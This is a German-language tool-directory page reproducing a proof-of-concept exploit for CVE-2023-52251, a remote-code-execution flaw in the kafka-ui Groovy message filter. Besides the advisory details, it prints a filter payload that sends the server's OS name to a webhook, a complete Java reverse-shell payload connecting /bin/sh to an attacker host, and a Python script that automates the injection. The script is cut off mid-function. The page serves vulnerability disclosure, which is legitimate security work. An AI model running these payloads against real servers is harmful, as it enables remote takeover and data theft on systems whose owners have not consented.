Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-52251-POC — CVE-2023-52251 Es gibt eine Schwachstelle zur Remote-Code-Ausführung in provectus/kafka-ui. | Kitploit
Tools/GitHubGitHub/bobtheshoplifter/cve-2023-52251-poc
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-ToolPayload-Entwicklung
GitHubbobtheshoplifter/cve-2023-52251-poc

CVE-2023-52251-POC

CVE-2023-52251 Es gibt eine Schwachstelle zur Remote-Code-Ausführung in provectus/kafka-ui.

Repository anzeigen
21315vor 2 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2023-52251-POC

Es gibt eine Schwachstelle zur Remote Code Execution in provectus/kafka-ui. Zum Zeitpunkt des Schreibens gibt es keinen Patch, aber der Hersteller wurde von uns und dem Team von VINCE benachrichtigt, ohne eine Antwort zu erhalten. Der Bericht wurde am 27. September 2023 an provectus sowohl per E-Mail als auch über GitHub Security gesendet.

Abhilfe

Wir empfehlen, die gesamte Groovy-Filterfunktion auszukommentieren und/oder mindestens eine Authentifizierung hinzuzufügen.

Metadaten

TitelWert
CVSS-StringCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:H
CVE-IDCVE-2023-52251
CVS-BeschreibungIn provectus kafka-ui 0.4.0-0.7.1 wurde eine Remote Code Execution (RCE)-Schwachstelle über den Parameter q unter /api/clusters/local/topics/{topic}/messages entdeckt
CVSS-Score9.x
CWECWE-94: Improper Control of Generation of Code ('Code Injection')
AnbieterProvectus
Produktkafka-ui
Linkhttps://github.com/provectus/kafka-ui
Betroffene Versionen0.4.0-0.7.1
Gepatchte VersionenKeine
MitwirkendeThingstad, BobTheShoplifter

Details

Schwachstellentyp: Remote Code Execution (RCE)

Betroffene Software: Kafka-ui

Version: [0.4.0-0.7.1]

Schwachstellenbeschreibung

Es gibt keine Bereinigung des Groovy-Skriptfilters, bevor er ausgeführt wird. Dadurch kann ein Angreifer beliebigen Code auf dem Server ausführen.

Quellcode-Referenz

In der Funktion groovyScriptFilter wird das „script“ vor der Ausführung nicht bereinigt.

Und es wird in der Engine per eval ausgeführt:

var result = compiledScript.eval(bindings);

https://github.com/provectus/kafka-ui/blob/master/kafka-ui-api/src/main/java/com/provectus/kafka/ui/emitter/MessageFilters.java#58

PoC

Vollständige Anweisungen, einschließlich spezifischer Konfigurationsdetails, um die Schwachstelle zu reproduzieren.

Mit dem Filter:

new URL("https://webhook.site/xxxxxx-xxxx-xxxx-xxxx-xxxxxxxx/" + System.getProperty("os.name")).text

Filter-Screenshot

Sendet eine Anfrage an den Webhook mit dem Betriebssystemnamen des Servers.

Webhook-Screenshot

Darauf aufbauend können wir den folgenden Payload verwenden, um eine Reverse Shell zu erhalten:

String host="xxx.xxx.xxx.xx";int port=8080;String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

Der Payload lässt sich einfach auf https://www.revshells.com/ erzeugen.

Reverse Shell

Außerdem wurde ein PoC in Python erstellt:

from time import sleep
import requests
import json
import urllib
import argparse

url = 'http://localhost:8080'
clusters = None
c2 = "xxx.xxx.xxx.xx"
port = "8080"
mode = "check"


def get_clusters():
    global clusters
    clusterfetch = requests.get(url + '/api/clusters')
    clusters = clusterfetch.json()


def get_topics(cluster):
    topicfetch = requests.get(
        url + f'/api/clusters/{cluster}/topics?showInternal=true&search=&orderBy=NAME&sortOrder=ASC')
    topics = topicfetch.json()['topics']
    return topics


def get_webhooks():
    webhookfetch = requests.post('https://webhook.site/token')
    webhook = 'https://webhook.site/' + webhookfetch.json()['uuid']+"/"
    print('URL Created: ' + webhook)
    token_id = webhookfetch.json()['uuid']
    headers = {"api-key": webhookfetch.json()['uuid']}
    return webhook, token_id, headers


def Exploit():
    try:
        get_clusters()

        cluster = clusters[0]['name']

        topics = get_topics(cluster)
        topic = topics[0]['name']

        webhook, token_id, headers = get_webhooks()

        checkpayload = 'new URL("'+webhook+'").text'

        rcepayload = 'String host="' + c2 + \
            '";int port='+port + \
            ';String cmd="/bin/sh";Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();'

        payload = rcepayload if mode == "rce" else checkpayload

        r = requests.get(
            url + f'/api/clusters/local/topics/{topic}/messages?q={urllib.parse.quote(payload)}&filterQueryType=GROOVY_SCRIPT&attempt=2&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING', timeout=60)
        print(r.text)

        r = requests.get('https://webhook.site/token/' + token_id +
                         '/requests?sorting=newest', headers=headers)
Tool herunterladen